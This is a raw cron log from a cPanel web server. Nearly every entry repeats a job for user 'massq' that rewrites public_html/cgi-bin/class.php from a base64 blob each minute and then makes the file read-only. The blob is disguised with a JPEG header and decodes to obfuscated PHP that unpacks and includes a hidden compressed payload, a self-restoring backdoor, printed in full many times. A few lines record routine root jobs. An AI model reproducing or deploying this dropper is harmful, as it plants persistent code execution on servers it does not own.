Nov 10 12:51:01 server CROND[27886]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:52:01 server CROND[28700]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:53:01 server CROND[29632]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:54:01 server CROND[30469]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:55:01 server CROND[31115]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 12:55:01 server CROND[31116]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 12:55:01 server CROND[31117]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:56:01 server CROND[32105]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:57:01 server CROND[470]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 12:57:01 server CROND[471]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:58:02 server CROND[1388]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:59:01 server CROND[2189]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:00:01 server CROND[2972]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:00:01 server CROND[2974]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 13:00:01 server CROND[2975]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 13:00:01 server CROND[2973]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 13:01:01 server CROND[3867]: (root) CMD (run-parts /etc/cron.hourly)
Nov 10 13:01:01 server CROND[3866]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:01:01 server run-parts(/etc/cron.hourly)[3867]: starting 0anacron
Nov 10 13:01:01 server run-parts(/etc/cron.hourly)[3879]: finished 0anacron
Nov 10 13:02:01 server CROND[4706]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:03:01 server CROND[5623]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
